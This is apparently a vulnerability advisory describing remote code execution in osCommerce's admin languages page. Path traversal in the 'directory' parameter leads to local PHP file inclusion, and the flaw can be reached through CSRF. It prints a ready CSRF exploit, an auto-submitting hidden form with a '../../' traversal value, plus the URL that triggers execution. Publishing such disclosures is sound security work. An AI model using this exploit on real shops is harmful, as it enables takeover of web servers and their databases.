RCE via CSRF in osCommerce

High-Tech Bridge Security Research Lab discovered vulnerability in popular e-commerce software osCommerce with 280,000 store owners (according to the vendor). The vulnerability can be exploited to execute arbitrary PHP code on the remote system, compromise the vulnerable web application, its database and even the web server and related environment.

Successful exploitation of the vulnerability requires attacker to access to administrative panel, however it can also be successfully exploited by remote non-authenticated attacker via CSRF vector to which the application is also vulnerable.

The vulnerability exists due to insufficient filtration of "directory" HTTP POST parameter paassed to "/admin/languages.php" PHP script. A remote attacker can use path traversal sequences (e.g. "../../") to include and execute arbitrary PHP file from local server file system.

A simple CSRF exploit below will update application database and insert "/tmp/file" value string into web application configuration:

<form action="http://[HOST]/admin/languages.php?action=insert" method="post" name="main">
<input type="hidden" name="name" value="vu">
<input type="hidden" name="code" value="vu">
<input type="hidden" name="image" value="icon.gif">
<input type="hidden" name="directory" value="../../../../../../../../../../../tmp/file">
<input type="hidden" name="sort_order" value="">
<input value="submit" id="btn" type="submit" />
</form><script>document.main.submit();</script>

Then, in order to execute the PHP code from "/tmp/file" file, just open the following URL:
http://[host]/index.php?language=vu